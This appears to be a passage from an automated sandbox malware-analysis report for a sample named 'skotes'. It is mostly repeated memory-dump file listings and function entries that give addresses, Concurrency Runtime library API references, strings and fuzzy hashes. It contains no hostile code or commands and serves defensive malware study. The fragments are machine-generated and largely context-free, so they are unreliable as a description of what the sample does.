Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: FreeProcessorVirtual$Concurrency::details::ListRootRoot::std::invalid_argument::invalid_argument
String ID: pExecutionResource
API String ID: 1772865662-359481074
Opcode ID: 4039b6231d3c94d785609b81a374d20cb8e1e76948df7c94dbd70742c143cf57
Instruction ID: 0ebaab621ad2ac113bb7a9edf662b4ecff7beac57bbbea652cf00857f20b81d9
Opcode Fuzzy Hash: 4039b6231d3c94d785609b81a374d20cb8e1e76948df7c94dbd70742c143cf57
Instruction Fuzzy Hash: A321F875A402059BCB08EFA4C952BEDB7E5BF48310F104069F506AB792DBB0AE01CB95

Function 00AE4EA2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00AE4F24
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 00AE4F66

Strings

ppVirtualProcessorRoots, xrefs: 00AE4F1C
count, xrefs: 00AE4EBA

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: CacheGroupLocalSchedule$Concurrency::details::SegmentSegment::std::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 2663199487-3650809737
Opcode ID: 1b7aa2e57a37ea893de88062f9193fc37ac00fa11c3b471eae83a6135e5c37a4
Instruction ID: 8d337f60d083d55634a17305f6434e33846f3fdc8edc7f7c9111d32a0a9a5835
Opcode Fuzzy Hash: 1b7aa2e57a37ea893de88062f9193fc37ac00fa11c3b471eae83a6135e5c37a4
Instruction Fuzzy Hash: 7C21BE35600215EFCB14EFA9C992EAD77B9BF48310F40406AF5069B792DB71AE02CB91

Function 00AEB975 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00AEBA0E

Strings

RoUninitialize, xrefs: 00AEB9C1
combase.dll, xrefs: 00AEB983, 00AEB988, 00AEB99D, 00AEB9C8
RoInitialize, xrefs: 00AEB998

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: RoInitialize$RoUninitialize$combase.dll
API String ID: 348560076-3997890769
Opcode ID: c36340ae7cba73b7399edd083bbc63eda5430cddfaf9d1a13c8f35b2ef3c3231
Instruction ID: ce303b34630c0162996120878aa2d3a33eaf00020b96d5bed622796341de2519
Opcode Fuzzy Hash: c36340ae7cba73b7399edd083bbc63eda5430cddfaf9d1a13c8f35b2ef3c3231
Instruction Fuzzy Hash: D101D272AA13919EDB20BBBA5C0DABB359C9F01340F605C69A640E7182EFB5C40246B5

Function 00AE6E1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

SafeRWList.LIBCONCRT ref: 00AE6E73

Part of subcall function 00AE4E6E: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00AE4E7F
Part of subcall function 00AE4E6E: List.LIBCMT ref: 00AE4E89

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00AE6E85
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00AE6EAA

Strings

eventObject, xrefs: 00AE6E7D

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: List$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 1288476792-1680012138
Opcode ID: 19d7feed1f7bc332586a2f70afda9bfd69c1dcb8234b304d5a7fd7a40ee27512
Instruction ID: 1df9ec44431ea9eaca959974db4d606e006326462e93577579fd8255d3bb1467
Opcode Fuzzy Hash: 19d7feed1f7bc332586a2f70afda9bfd69c1dcb8234b304d5a7fd7a40ee27512
Instruction Fuzzy Hash: 42114435A80204EBCB24EBA9CD8AFEE77B85F10380F604965F505B60D1DB70EA04C671

Function 00AEA0EE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 00AEA102
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 00AEA126
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00AEA139

Strings

pScheduler, xrefs: 00AEA131

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: 9af1721657f5904754eb5bf49462b192f139430439247d453223e0ae6376851d
Instruction ID: 38b076badf953e95bb6928c39978d36236db7b8a49035a095a9a9d03e9332688
Opcode Fuzzy Hash: 9af1721657f5904754eb5bf49462b192f139430439247d453223e0ae6376851d
Instruction Fuzzy Hash: 7BF09E36A00244E3C720FB55ED93C9EB3B89FA0720B50C269E50623181DF70BE06C7A2

Function 00AFCBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00AFCC66

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

